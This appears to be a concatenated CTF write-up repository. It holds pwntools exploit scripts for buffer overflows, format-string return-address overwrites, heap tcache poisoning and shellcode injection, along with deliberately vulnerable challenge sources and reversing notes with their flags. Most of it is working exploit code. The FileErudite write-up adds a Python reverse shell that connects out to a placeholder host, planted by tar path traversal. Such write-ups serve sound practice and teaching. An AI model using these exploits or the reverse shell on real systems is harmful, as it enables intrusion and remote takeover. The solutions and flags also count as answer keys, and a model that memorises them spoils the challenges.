47 | #!/usr/bin/env python2
48 | from pwn import *
49 |
50 | audition = p32(0x08049182)
51 | time = p32(0x4b0)
52 | room_num = p32(0x16e)
53 | payload = 'a'* 112 + audition + 'a'*4 + time + room_num
54 |
55 | conn = remote('ctf.umbccd.io', 4000)
56 | #conn = process('./bof')
57 |
58 | conn.sendlineafter('?', 'name')
59 | conn.sendlineafter('?', payload)
60 | print conn.recvall()
61 | conn.close
62 | ```
63 | ### flag
64 | `DawgCTF{wh@t_teAm?}`
65 |
--------------------------------------------------------------------------------
/unitedctf-2021/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 | import ctypes
5 |
6 | exe = ELF("./simple_notes")
7 | libc = ELF("./libc.so.6")
8 | ld = ELF("./ld-2.31.so")
9 |
10 | context.binary = exe
11 | context.terminal = ['st']
12 |
13 | def conn():
14 | if args.LOCAL:
15 | return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
16 | else:
17 | return remote("challenges.unitedctf.ca", 1234)
18 |
19 | def create_note(io, imp, size, data):
20 | io.recvuntil("> ")
21 | io.sendline("1")
22 | io.recvuntil("Importance: ")
23 | io.sendline(str(imp))
24 | io.recvuntil("Size: ")
25 | io.sendline(str(size))
26 | io.sendline(data)
27 |
28 | def read_note(io, idx):
29 | io.recvuntil("> ")
30 | io.sendline("3")
31 | io.recvuntil("Index: ")
32 | io.sendline(str(idx))
33 |
34 | def edit_note(io, idx, imp, size):
35 | io.recvuntil("> ")
36 | io.sendline("4")
37 | io.recvuntil("Index: ")
38 | io.sendline(str(idx))
39 | io.recvuntil("Importance: ")
40 | io.sendline(str(imp))
41 | io.recvuntil("Size: ")
42 | io.sendline(str(size))
43 |
44 | def main():
45 | r = conn()
46 |
47 | # overwriting current variable with 0xffffffff to bypass the index check
48 | for i in range(256):
49 | create_note(r, i, 9, "asdf")
50 | log.info(f"Creating note number: {i}")
51 | create_note(r, -3, 9, "asdf")
52 |
53 | # leaking libc address
54 | read_note(r, -8)
55 | r.recvuntil("Importance: ")
56 | libc.address = int(r.recvline(keepends=False)) - libc.sym.puts
57 | log.info(f"Leaking libc address : {hex(libc.address)}")
58 |
59 | #overwriting the got entry for atoi to system
60 | edit_note(r, -6, ctypes.c_int32(libc.sym.system).value, "/bin/sh\0")
61 |
62 | r.interactive()
63 |
64 | if __name__ == "__main__":
65 | main()
66 |
--------------------------------------------------------------------------------
/shellmates/fake shell/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | from pwn import *
3 | from time import sleep
4 |
5 |
6 | one_gadget_offset = 0xe87f5
7 |
8 | while True:
9 | sleep(2)
10 | try:
11 | s = remote ('terminal.challs.shellmates.club', 1337)
12 | except:
13 | continue
14 | #leaking rbp and calculating the return address
15 | payload = 'printf %8$lp'
16 | s.sendline(payload)
17 | s.recvuntil('0x')
18 | ret = int(s.recv(12), 16) - 0x418
19 | ret1 = p64(ret)
20 | ret2 = p64(ret + 2)
21 | ret3 = p64(ret + 4)
22 | log.info('return address: '+ str(hex(ret)))
23 |
24 | #leaking libc_start_main address and calculating one gadget address
25 | payload = 'printf %141$lp'
26 | s.sendline(payload)
27 | s.recvuntil('0x')
28 | libc_start_main = int(s.recv(12), 16)
29 | one_gadget = libc_start_main + one_gadget_offset
30 | log.info('one gadget address: '+ str(hex(one_gadget)))
31 |
32 | #calculating lenght for %n to overwrite the return address with one gadget
33 | length1 = (one_gadget & 0xffff) - 1
34 | length2 = (one_gadget >> 16 & 0xffff) - length1 -1
35 | length3 = (one_gadget >> 32 & 0xffff) - length1 - length2 -1
36 |
37 | #to construct the address two bytes at the time, the lengths have to be from smaller to bigger
38 | if (length2 < 0) or (length3) < 0:
39 | log.info('bad address, try again.')
40 | s.close()
41 | continue
42 |
43 |
44 | #overwriting the return address with one gadget address
45 | payload = 'printf a'
46 | payload += '%' + str(length1) + 'd'
47 | payload += '%16$n'
48 | payload += '%' + str(length2) + 'd'
49 | payload += '%17$n'
50 | payload += '%' + str(length3) + 'd'
51 | payload += '%18$nh'
52 | payload = payload.ljust(0x30, '\0')
53 | payload += ret1 + ret2 + ret3
54 |
55 | #the constraint of one gadget is [rsp+0x70] == NULL
56 | payload = payload.ljust(0x400, '\0')
57 |
58 | s.sendline(payload)
59 | s.interactive()
60 | s.close()
61 |
--------------------------------------------------------------------------------
/shellmates/fake shell/terminal.h:
--------------------------------------------------------------------------------
1 | #define n_elems(array) sizeof(array)/sizeof(array[0])
2 | #define CMD_LS 0
3 | #define CMD_ID 1
4 | #define CMD_WHOAMI 2
5 | #define CMD_ECHO 3
6 | #define CMD_PRINTF 4
7 | #define CMD_CAT 5
8 | #define CMD_PWD 6
9 | #define CMD_CD 7
10 | #define CMD_HELP 8
11 | #define CMD_EXIT 9
12 | #define CMD_UNAME 10
13 |
14 | #define COMMAND_NOT_FOUND 512
15 | #define ARITY_ERROR 1024
16 | #define ARG_ERROR 2048
17 |
18 | #define LISTING_1 "secretfolder\n"
19 | #define LONG_LISTING_1 "drwxr-xr-x 2 root root 4096 janv. 3 00:54 secretfolder\n"
20 |
21 | #define LISTING_2 "flag.txt\n"
22 | #define LONG_LISTING_2 "-rw-r--r-- 1 root mate 462 janv. 3 00:41 flag.txt\n"
23 | #define FLAG_CONTENT "\n"\
24 | "############################################################################\n"\
25 | "# Of course, you will not find the flag in here ;) #\n" \
26 | "# The real flag of this challenge is in "BLUE("/challenge/flag.txt")" #\n" \
27 | "# You forgot that you were in a fake terminal? what did you expect? xD #\n" \
28 | "# #\n" \
29 | "############################################################################\n"
30 |
31 | #define RED(s) "\e[01;91m"s"\e[00m"
32 | #define BLUE(s) "\e[01;34m"s"\e[00m"
33 |
34 | #define UNAME_OUTPUT "Linux"
35 | #define UNAME_LONG_OUTPUT "Linux pwnable 2.6.32-573.3.1.el6.x86_64 #1 SMP Mon Aug 10 09:44:54 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux"
36 |
37 | typedef struct command_ll {
38 | unsigned int command;
39 | char* args;
40 | } command_ll;
41 |
42 |
43 | unsigned int ls(char*);
44 | unsigned int id(char*);
45 | unsigned int whoami(char*);
46 | unsigned int echo(char*);
47 | unsigned int cat(char*);
48 | unsigned int pwd(char*);
49 | unsigned int help(char*);
50 | unsigned int cd(char*);
51 | unsigned int uname(char*);
52 | void read_cmd(char*, size_t);
53 | unsigned int parse_cmd(char*, command_ll*);
54 | unsigned int process_cmd(command_ll*);
55 | void clean_cmd(command_ll*);
56 |
57 |
--------------------------------------------------------------------------------
/shellmates/circuit/README.md:
--------------------------------------------------------------------------------
1 | # Circuit
2 |
3 | ### Description
4 | ```
5 | Hello soldier,
6 | It seems like ROXy and FOXy found another way to encrypt data, they are now using hardware based encryption
7 | for the sake of encrypting huge amount of data. Our secret agent has successfully sniffed out the most important
8 | file in our mission to crack their secret, the blueprint of their logic circuit! He additionnaly captured
9 | an encrypted message that we are curious to know its contents.
10 | Now it's all up to you to reverse engineer the circuit, and provide us with a decryption of their messages.
11 |
12 | Yours sincerely, TheMentor.
13 | ```
14 | Attachments: .
15 |
16 | 
17 |
18 |
19 | The circuit encrypts the text one character at the time using only one byte as the encryption key
20 | All we have to do is reverse the circuit and brut-force the encryption key
21 | ```python
22 | #!/usr/bin/env python2
23 |
24 | with open('secret.enc') as f:
25 | ct = f.read()
26 | f.close()
27 |
28 |
29 | for key in range(255):
30 | pt = ''
31 | for c in ct:
32 | i = ord(c)
33 |
34 | b = 0
35 | b += 0 if ((i & 32 )^(key & 32 )) else 16
36 | b += 0 if ((i & 16 )^(key & 16 )) else 32
37 | b += 0 if ((i & 128)^(key & 128)) else 64
38 | b += 0 if ((i & 64 )^(key & 64 )) else 128
39 |
40 | b += 1 if (((i & 2)^(key & 2)) and b & 128) or (not ((i & 2)^(key & 2)) and not b & 128) else 0
41 | b += 2 if (((i & 1)^(key & 1)) and b & 64 ) or (not ((i & 1)^(key & 1)) and not b & 64 ) else 0
42 | b += 4 if (((i & 8)^(key & 8)) and b & 32 ) or (not ((i & 8)^(key & 8)) and not b & 32 ) else 0
43 | b += 8 if (((i & 4)^(key & 4)) and b & 16 ) or (not ((i & 4)^(key & 4)) and not b & 16 ) else 0
44 |
45 | pt += chr(b)
46 |
47 | if 'shellmates' in pt:
48 | print 'secret key : ' + str(key)
49 | print 'message : \n' + pt
50 | ```
51 | # Flag
52 | shellmates{h@rD\/\/4r3_b@sEd_enCrYpT10N_1$_suP3r_f4$t!!}
53 |
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 |
5 | exe = ELF("./rift_patched")
6 | libc = ELF("./libc.so.6")
7 | ld = ELF("./ld-2.28.so")
8 |
9 | context.binary = exe
10 |
11 |
12 | def conn():
13 | r = remote("tamuctf.com", 443, ssl=True, sni="rift")
14 | return r
15 |
16 |
17 | def main():
18 | r = conn()
19 | one_gadget = 0x4497f
20 |
21 | r.sendline(b"%1$p")
22 | libc.address = int(r.recvline().strip(),16) - 0x1bc8d0
23 | one_gadget += libc.address
24 | log.info(f"Libc address : {hex(libc.address)}")
25 |
26 | r.sendline(b"%8$p")
27 | stack = int(r.recvline().strip(),16) - 0x8 + 0x10
28 | log.info(f"stack address : {hex(stack)}")
29 |
30 | # overwrite the last 2 bytes of a stack address to point to main return address
31 | short = stack & 0xffff
32 | payload = f'%{short}c%13$hn'
33 | r.sendline(payload)
34 | # overwrite the last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget
35 | short = one_gadget & 0xffff
36 | payload = f'%{short}c%39$hn'
37 | r.sendline(payload)
38 | # overwrite the last 2 bytes of a stack address to point to main return address + 2
39 | short = (stack + 2) & 0xffff
40 | payload = f'%{short}c%13$hn'
41 | r.sendline(payload)
42 | # overwrite the second last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget
43 | short = (one_gadget & 0xffff0000) >> 16
44 | payload = f'%{short}c%39$hn'
45 | r.sendline(payload)
46 | # overwrite the last 2 bytes of a stack address to point to always_true address
47 | short = (stack & 0xffff) - 0x1c
48 | payload = f'%{short}c%13$hn'
49 | r.sendline(payload)
50 | # overwrite the always_true variable with 0 to break out of the while loop and return to main, then to one_gadget
51 | payload = f'%39$n'
52 | r.sendline(payload)
53 |
54 | # main will exit and instead of returning to __libc_start_main, it will return to one_gadget
55 | r.interactive()
56 |
57 |
58 | if __name__ == "__main__":
59 | main()
60 |
--------------------------------------------------------------------------------
/HackINI2k23/write_what_where/challenge.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #define NAME_SIZE 0x160 //352
10 |
11 | void input_str(char *msg, char *str, size_t size) ;
12 | void disable_buffering(){
13 | setbuf(stdin, NULL);
14 | setbuf(stdout, NULL);
15 | setbuf(stderr, NULL);
16 | }
17 |
18 | void header(){
19 | puts("Welcome !");
20 | }
21 |
22 | void menu(){
23 | puts("1) Enter Your Name");
24 | puts("2) Print your Name");
25 | puts("3) Execute Random function");
26 | puts("4) Exit");
27 | printf("Choice: ");
28 | }
29 |
30 | void get_name(char name[NAME_SIZE]){
31 | input_str("Name: ",name,NAME_SIZE);
32 | }
33 |
34 | void print_name(char name[NAME_SIZE]){
35 | printf(name); // format string :)
36 | }
37 |
38 | void func(){}
39 |
40 | int main(int argc, char* argv[]){
41 | char name[NAME_SIZE];
42 | int choice ;
43 |
44 | disable_buffering();
45 |
46 | mprotect((void*)(((unsigned long)&func >> 12) << 12),0x1000,PROT_READ | PROT_WRITE | PROT_EXEC); //This is a gift for you
47 |
48 | puts("Welcome\nTry to find out how to pwn me!\nIt's not hard, I swear!");
49 |
50 | while (1)
51 | {
52 | menu();
53 | scanf("%d",&choice);
54 | switch (choice)
55 | {
56 | case 1:
57 | get_name(name);
58 | break;
59 | case 2:
60 | print_name(name);
61 | break;
62 | case 3:
63 | func();
64 | break;
65 | default:
66 | exit(0);
67 | break;
68 | }
69 |
70 | }
71 | exit(0);
72 | }
73 |
74 | void input_str(char *msg, char *str, size_t size)
75 | {
76 | ssize_t num_bytes;
77 |
78 | fputs(msg, stdout);
79 | num_bytes = read(STDIN_FILENO, str, size - 1);
80 | if (num_bytes == -1) {
81 | perror("read");
82 | exit(EXIT_FAILURE);
83 | } else {
84 | str[num_bytes] = '\0';
85 | }
86 | return;
87 | }
88 |
89 |
--------------------------------------------------------------------------------
/shellmates/FileErudite-web_misc/app.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | from flask import Flask, Response, redirect, request, render_template
4 | from werkzeug.exceptions import RequestEntityTooLarge
5 | from string import ascii_lowercase, digits
6 | from random import choice
7 | import os, tarfile, wave
8 |
9 | app = Flask(__name__)
10 |
11 | UPLOAD_FOLDER = "./uploads/"
12 | EXTRACT_FOLDER = "./extracted/"
13 |
14 | charset = digits + ascii_lowercase
15 | random_string = lambda: "".join(choice(charset) for _ in range(10))
16 |
17 | def valid_wave(file):
18 | try :
19 | with wave.open(file):
20 | pass
21 | return True
22 | except:
23 | return False
24 |
25 | def valid_pdf(file):
26 | return_code = os.system(f"pdfinfo {file} >/dev/null 2>&1")
27 | return return_code == 0
28 |
29 | def valid_tar(file):
30 | try :
31 | with tarfile.open(file):
32 | pass
33 | return True
34 | except:
35 | return False
36 |
37 | def check(file):
38 | if valid_tar(file) and valid_wave(file) and valid_pdf(file):
39 | try:
40 | with tarfile.open(file) as tar:
41 | os.system(f'rm -rf{EXTRACT_FOLDER}/*')
42 | tar.extractall(EXTRACT_FOLDER)
43 | except:
44 | return False
45 |
46 | os.system('python3 ../join_us.py ')
47 | os.system(f'rm -rf {EXTRACT_FOLDER}/*')
48 | isvalid = True
49 | else:
50 | isvalid = False
51 |
52 | os.system(f"rm {file}")
53 | return isvalid
54 |
55 | @app.route("/", methods=["GET"])
56 | def root():
57 | return render_template("index.html")
58 |
59 | @app.route('/upload', methods=['GET', 'POST'])
60 | def upload_file():
61 | if request.method == "POST":
62 | f = request.files.get('file')
63 | if not f:
64 | return render_template("nofile.html"), 400
65 |
66 | file_location = os.path.join(UPLOAD_FOLDER, random_string())
67 | f.save(file_location)
68 |
69 | if check(file_location):
70 | return render_template("success.html")
71 | else:
72 | return render_template("fail.html")
73 | else:
74 | return redirect("/")
75 |
76 | @app.errorhandler(404)
77 | def not_found(e):
78 | return render_template('404.html'), 404
79 |
--------------------------------------------------------------------------------
/shellmates/hello_wasm/README.md:
--------------------------------------------------------------------------------
1 | # Hello WASM
2 | ——————— 𝘼𝙪𝙩𝙝𝙤𝙧 𝙣𝙤𝙩𝙚 ———————
3 | 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲’𝘀 𝗻𝗮𝗺𝗲: Hello WASM.
4 | 𝗖𝗮𝘁𝗲𝗴𝗼𝗿𝘆: Reverse.
5 | 𝗗𝗲𝘀𝗰𝗿𝗶𝗽𝘁𝗶𝗼𝗻: Some say that client-side validation
6 | isn't secure at all because everything is visible
7 | to the end-user. Funny right! I'm surely gonna
8 | refute this saying with my new double password
9 | verification using this *high level* technology..
10 | or low level? whatever. I hope no one proves me wrong
11 | or I’m gonna have to start all over again…
12 | Link to the challenge : http://138.68.101.239:7777/
13 | ———————————————————————
14 | 
15 | In the network traffic, I can see a request for 79e1d51c6a58e66a153c.module.wasm, so I downloaded it
16 | and tried dumping the strings in the binary:
17 | ```bash
18 | $ strings 79e1d51c6a58e66a153c.module.wasm
19 | ...
20 | wiesbn_ta_shssrc/lib.rs
21 | aermdb_leyh_?
22 | ...
23 | ```
24 | I noticed two interesting strings, but they weren't the correct passwords, it may be checking the passwords
25 | against these two strings using some special algorithm, so I decompiled it to C source using [wabt](https://github.com/WebAssembly/wabt) and found
26 | check_password() function, but the source code was very hard to understand, so I decided to translate the binary
27 | to text format and reverse it to C source by hand. After reversing check_password() and the first function that it
28 | calls, I found out it did nothing! It only performs a variable swap that will be undone by check_password() right after
29 | 
30 | So I asked the author and he told me that a lot of code is generated by the wasm compiler and that I should try another
31 | approach. After some searching I found a [wasm debugging chrome extension](goo.gle/wasm-debugging-extension) and started setting breakpoints at the end
32 | of check_password(), if the execution didn't reach it make another one before it and so on to find all the checks performed,
33 | and it worked!. It checks if both passwords are 13 characters long then it compares password1 then password2 char-by-char
34 | against those strings from before, So we can set only one breakpoint at this check, and leak the flag one char at the time
35 | 
36 |
37 | # Flag
38 | ```
39 | shellmates{web_assembly_isnt_hard_eh?}
40 | ```
41 |
42 |
--------------------------------------------------------------------------------
/shellmates/FileErudite-web_misc/README.md:
--------------------------------------------------------------------------------
1 | # FileErudite
2 | ——————— 𝘼𝙪𝙩𝙝𝙤𝙧 𝙣𝙤𝙩𝙚 ———————
3 | 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲’𝘀 𝗻𝗮𝗺𝗲: FileErudite.
4 | 𝗖𝗮𝘁𝗲𝗴𝗼𝗿𝘆: Web/Misc.
5 | 𝗗𝗲𝘀𝗰𝗿𝗶𝗽𝘁𝗶𝗼𝗻: Who said files are simple? In the right
6 | circumstances they can be very complex and surprisingly
7 | weird. Here at FileErudite we discover the weirdness
8 | of files. If you want to take the journey come and join us
9 | but first, you have to prove you have what it takes!
10 | Here starts the adventure: https://gofile.io/d/jywV3Y
11 | ———————————————————————
12 | 
13 |
14 | This flask application takes a file and checks if it's a valid wave, pdf and tar file if it passes that check it will extract it
15 | to the './extracted/' directory, then it will execute a python script located at the parent directory '../join_us.py'
16 | ```python
17 | def check(file):
18 | if valid_tar(file) and valid_wave(file) and valid_pdf(file):
19 | try:
20 | with tarfile.open(file) as tar:
21 | os.system(f'rm -rf{EXTRACT_FOLDER}/*')
22 | tar.extractall(EXTRACT_FOLDER)
23 | except:
24 | return False
25 |
26 | os.system('python3 ../join_us.py ')
27 | os.system(f'rm -rf {EXTRACT_FOLDER}/*')
28 | isvalid = True
29 | else:
30 | isvalid = False
31 |
32 | os.system(f"rm {file}")
33 | return isvalid
34 | ```
35 | We can't abuse the uploaded filename because it's randomized, so we need to pass that check and overwrite '../join_us.py'
36 | We can create a tar file that contains a reverse-shell python script with the filename '../../join_us.py' using [evilarc](https://github.com/ptoomey3/evilarc)
37 | then taring it so it will get extracted to './extracted/../../join_us.py' overwriting the existing file, then we need to make a binary polyglot file using [mitra](https://github.com/corkami/mitra) that is a valid wav, pdf and tar file
(ps: the order of the arguments matter for mitra)
38 | ```python
39 | import sys,socket,os,pty
40 |
41 | s=socket.socket()
42 | s.connect(("ip_address",port))
43 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
44 | pty.spawn("/bin/sh")
45 | ```
46 | ```
47 | python2 evilarc.py join_us.py --out file.tar
48 | ./mitra.py file.wav file.pdf -o ./
49 | ./mitra.py [generated_file.waw.pdf] file.tar -o ./
50 | ```
51 | ## Flag
52 | ```
53 | shellmates{0ne_fIl3_T0_RuLe_T|-|em_4ll}
54 |
55 |
--------------------------------------------------------------------------------
/HackINI2k23/write_what_where/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from pwn import *
3 |
4 | exe = ELF("./chall")
5 | context.binary = exe
6 |
7 | shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
8 |
9 | def conn():
10 | return remote("write-what-where.ctf.shellmates.club", 443, ssl=True)
11 |
12 |
13 | def main():
14 | for i in range(10):
15 | r = conn()
16 |
17 | # Leaking stack & code addresses
18 | r.recvuntil(b'Choice')
19 | r.sendline(b'1')
20 | r.sendline(b'%7$p\n%9$p')
21 | r.recvuntil(b'Choice:')
22 | r.sendline(b'2')
23 | rbp_addr = int(r.recvline().strip(), 16) - 0x30
24 | menu_addr = int(r.recvline().strip(), 16) - 3
25 | log.info(f"Leaking base pointer address :: {hex(rbp_addr)}")
26 | log.info(f"Leaking menu function address :: {hex(menu_addr)}")
27 |
28 | r.recvuntil(b'Choice')
29 | r.sendline(b'1')
30 |
31 | # forming the format-string payload
32 | left = (menu_addr >> 32) - 12 #12 'a' at the start of the payload
33 | log.info(f"First 2 most significant bytes to overwrite :: {hex(left)}")
34 | right = (menu_addr & 0xffffffff) - left #offset of aaaaaa and already written bytes
35 | log.info(f"last 4 least significant bytes to overwrite :: {hex(right)}")
36 |
37 | payload = f'aaaaaaaaaaaa%{str(left)}c%19$n%{str(right)}c%20$n'
38 | log.info(f"Format-string payload :: {payload}")
39 | if len(payload) != 40: # check to make sure for address are aligned in memory
40 | log.info(f"Bad payload length :: {len(payload)}. Retrying ...\n")
41 | print(payload)
42 | r.close()
43 | continue
44 |
45 | # overwriting the RBP pointer with a menu function pointer (minus some offset)
46 | log.info(f"Sending format-string payload, please wait ...")
47 | r.sendline(flat(b'aaaaaaaaaaaa%', bytes(str(left), 'utf-8'), b'c%19$n%', bytes(str(right), 'utf-8'), b'c%20$n', p64(rbp_addr+4), p64(rbp_addr)))
48 | r.recvuntil(b'Choice:')
49 | r.sendline(b'2')
50 |
51 | # Overwriting menu function code with shellcode using get_name option
52 | r.recvuntil(b'Choice:')
53 | log.info(f"Overwriting menu function code with shellcode, here is your shell ;)\n")
54 | r.sendline(b'1')
55 | r.sendline(flat(shellcode))
56 | r.recvuntil(b'Name:')
57 | r.interactive()
58 | break
59 |
60 |
61 | if __name__ == "__main__":
62 | main()
63 |
--------------------------------------------------------------------------------
/TamuCTF2K24/rift/README.md:
--------------------------------------------------------------------------------
1 | # Rift
2 |
3 | # Description
4 | 
5 |
6 | This was a format-string challenge with the buffer in the bss instead of the stack.
7 | Since our input is not in the stack, we can't place pointers on the stack to acheive an arbitrary write,
8 | but we can still use dangeling pointers on the stack :)
9 | TL;DR: we need to use a stack pointer to write and address on the stack, than use that address for an arbitrary write.
10 |
11 | # Exploit
12 |
13 | ```python
14 | #!/usr/bin/env python3
15 |
16 | from pwn import *
17 |
18 | exe = ELF("./rift_patched")
19 | libc = ELF("./libc.so.6")
20 | ld = ELF("./ld-2.28.so")
21 |
22 | context.binary = exe
23 |
24 |
25 | def conn():
26 | r = remote("tamuctf.com", 443, ssl=True, sni="rift")
27 | return r
28 |
29 |
30 | def main():
31 | r = conn()
32 | one_gadget = 0x4497f
33 |
34 | r.sendline(b"%1$p")
35 | libc.address = int(r.recvline().strip(),16) - 0x1bc8d0
36 | one_gadget += libc.address
37 | log.info(f"Libc address : {hex(libc.address)}")
38 |
39 | r.sendline(b"%8$p")
40 | stack = int(r.recvline().strip(),16) - 0x8 + 0x10
41 | log.info(f"stack address : {hex(stack)}")
42 |
43 | # overwrite the last 2 bytes of a stack address to point to main return address
44 | short = stack & 0xffff
45 | payload = f'%{short}c%13$hn'
46 | r.sendline(payload)
47 | # overwrite the last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget
48 | short = one_gadget & 0xffff
49 | payload = f'%{short}c%39$hn'
50 | r.sendline(payload)
51 | # overwrite the last 2 bytes of a stack address to point to main return address + 2
52 | short = (stack + 2) & 0xffff
53 | payload = f'%{short}c%13$hn'
54 | r.sendline(payload)
55 | # overwrite the second last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget
56 | short = (one_gadget & 0xffff0000) >> 16
57 | payload = f'%{short}c%39$hn'
58 | r.sendline(payload)
59 | # overwrite the last 2 bytes of a stack address to point to always_true address
60 | short = (stack & 0xffff) - 0x1c
61 | payload = f'%{short}c%13$hn'
62 | r.sendline(payload)
63 | # overwrite the always_true variable with 0 to break out of the while loop and return to main, then to one_gadget
64 | payload = f'%39$n'
65 | r.sendline(payload)
66 |
67 | # main will exit and instead of returning to __libc_start_main, it will return to one_gadget
68 | r.interactive()
69 |
70 |
71 | if __name__ == "__main__":
72 | main()
73 | ```
74 | # Flag
75 |
76 | gigem{ropping_in_style}
77 |
--------------------------------------------------------------------------------
/shellmates/camel/ride_the_camel.ml:
--------------------------------------------------------------------------------
1 | let print_banner () =
2 | print_endline "";
3 | print_endline " =--_";
4 | print_endline " .-\"\"\"\"\"\"-. |* _)";
5 | print_endline " / \\ / /";
6 | print_endline " / \\_/ /";
7 | print_endline " _ /| /";
8 | print_endline " _-'\"/\\ / | ____ _.-\" _";
9 | print_endline " _-' ( '-_ _ ( \\ |\\ /\\ || .-'\".\".";
10 | print_endline "_.-' '. `'-._ .-'\"/'. \" | |/ / | |/ _-\" ( '-_";
11 | print_endline " '. _-\" ( '-_ \\ | / \\ | _.-' ) \"-._";
12 | print_endline " _.' _.-' ) \"-._ ||\\\\ |\\\\ '\"' .-'";
13 | print_endline " ' .-' `' || \\\\ ||))";
14 | print_endline "jjs__ _ ___ _ ____________ _____ ___ _|\\ _|\\_|\\\\/ _______________ ___ _";
15 | print_endline " c c \" c C \"\"C \" \"\" \"\" \"\"";
16 | print_endline " c C";
17 | print_endline " C C";
18 | print_endline " C";
19 | print_endline " C c";;
20 | let string_length s =
21 | let len = ref 0 in
22 | String.iter (fun c -> len := !len + 1) s;
23 | !len;;
24 |
25 | let list_of str =
26 | let rec aux newlst = function
27 | | -1 -> newlst;
28 | | k -> aux (str.[k]::newlst) (k - 1) in
29 | aux [] ((string_length str) - 1);;
30 |
31 | let rec check = function
32 | | 369877807 -> true;
33 | | k when k > 369877807 -> false;
34 | | k -> check (2*k+1);;
35 |
36 | let rec simp = function
37 | | k when k mod 2 = 1 -> k;
38 | | k -> simp (k / 2);;
39 |
40 | let decrypt data _key =
41 | let key = simp (_key + 1) in
42 | print_int key;
43 | print_newline();
44 | List.iter (fun k ->
45 | print_char (Char.chr ( ((((k lxor (key land 0xff)) + ((key lsr 8) land 0xff)) lxor ((key lsr 16) land 0xff)) - ((key lsr 24) land 0xff)) land 0xff));
46 | ) data;
47 | print_newline();;
48 |
49 | let take_a_ride () =
50 | print_banner();
51 | print_endline "Who are you?";
52 | let s1 = read_line () in
53 | if not (String.equal s1 "Xavier") then (
54 | print_endline "You are not allowed to use this program";
55 | exit 1;
56 | );
57 | print_endline "Welcome, enter the secret number";
58 | let s2 = read_int () in
59 | if (s2 <> 369877807) && (check s2) then
60 | decrypt [85;97;98;121;102;119;100;107;124;119;100;127;97;98;101;183;183;183;176;68;120;123;176;122;124;119;121;176;127;101;176;174;176;101;120;123;124;124;99;119;100;123;101;109;105;120;160;113;125;98;160;105;101;113;119;118;160;107;100;113;160;85;119;99;124;81;83] s2
61 | else print_endline "Wrong secret number";;
62 | take_a_ride ();
63 |
--------------------------------------------------------------------------------
/Alphactf2k23/Note_keeper_2/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 | from ctypes import CDLL
5 |
6 | exe = ELF("./new_chall_patched")
7 | libc = ELF("./libc.so.6")
8 | ld = ELF("./ld-linux-x86-64.so.2")
9 |
10 | context.binary = exe
11 |
12 | def add(r, size, content):
13 | r.recvuntil(b'Enter an option:')
14 | r.sendline(b'1')
15 | r.recvuntil(b'Size: ')
16 | r.sendline(bytes(str(size), 'utf-8'))
17 | r.recvuntil(b'Note content: ')
18 | r.sendline(content)
19 |
20 | def remove(r, index):
21 | r.recvuntil(b'Enter an option: ')
22 | r.sendline(b'2')
23 | r.recvuntil(b'Note index: ')
24 | r.sendline(bytes(str(index), 'utf-8'))
25 |
26 | def view(r, index):
27 | r.recvuntil(b'Enter an option: ')
28 | r.sendline(b'4')
29 | r.recvuntil(b'Index: ')
30 | r.sendline(bytes(str(index), 'utf-8'))
31 |
32 | def edit(r, index, content):
33 | r.recvuntil(b'Enter an option: ')
34 | r.sendline(b'3')
35 | r.recvuntil(b'Index: ')
36 | r.sendline(bytes(str(index), 'utf-8'))
37 | r.recvuntil(b'Content: ')
38 | r.sendline(content)
39 |
40 | def conn():
41 | r = process([exe.path])
42 | return r
43 |
44 |
45 | def main():
46 | r = conn()
47 |
48 | # Leaking libc address
49 |
50 | add(r, 1100, '')
51 | add(r, 16, '')
52 | remove(r, 0)
53 | add(r, 1100, 'a'*7)
54 | view(r, 1)
55 | r.recvuntil(b'a'*7 + b'\n')
56 | main_arena = int.from_bytes(r.recv(numb=6), "little")
57 | libc.address = main_arena - 0x1ecbe0 #offset
58 | log.info(f'Leaking libc address : {hex(libc.address)}')
59 | one_gadget = libc.address + 0xe3afe
60 | log.info(f'Calculating one_gadget address : {hex(one_gadget)}')
61 | remove(r, 1)
62 | remove(r, 0)
63 |
64 | # Leaking heap address
65 |
66 | add(r, 128, 'a'*15)
67 | view(r, 0)
68 | r.recvuntil(b'a'*15 + b'\n')
69 | heap = int.from_bytes(r.recv(numb=6), "little") + 32
70 | log.info(f'Leaking heap address : {hex(heap)}')
71 | tcache_key = heap - 672
72 | log.info(f'Calculating tcache-key address : {hex(tcache_key)}')
73 |
74 | # Leaking data segment address
75 |
76 | view(r, -11)
77 | data_addr = int.from_bytes(r.recv(numb=6), "little") + 88
78 | log.info(f'Leaking data address : {hex(data_addr)}')
79 |
80 | # Forging and freeing a fake chunk
81 |
82 | add(r, 16, '')
83 | remove(r, 1)
84 |
85 | fake_chunk = flat(p64(heap), p64(0x21))
86 | edit(r, 0, fake_chunk)
87 | offset = int((heap - data_addr - 16) / 8)
88 | remove(r, offset)
89 |
90 | # Poisoning the tcache-forward to point to __free_hook
91 | remove(r, 0)
92 | payload = flat(p64(0), p64(0x21), p64(libc.symbols['__free_hook']))
93 | add(r, 128, payload)
94 | add(r, 16, '/bin/bash\0')
95 |
96 | # Overwriting __free_hook pointer with system address
97 |
98 | add(r, 16, flat(p64(libc.symbols['system'])))
99 |
100 | # system('/bin/sh\0');
101 | log.info('Enjoy your $hell ;)')
102 | remove(r, 0)
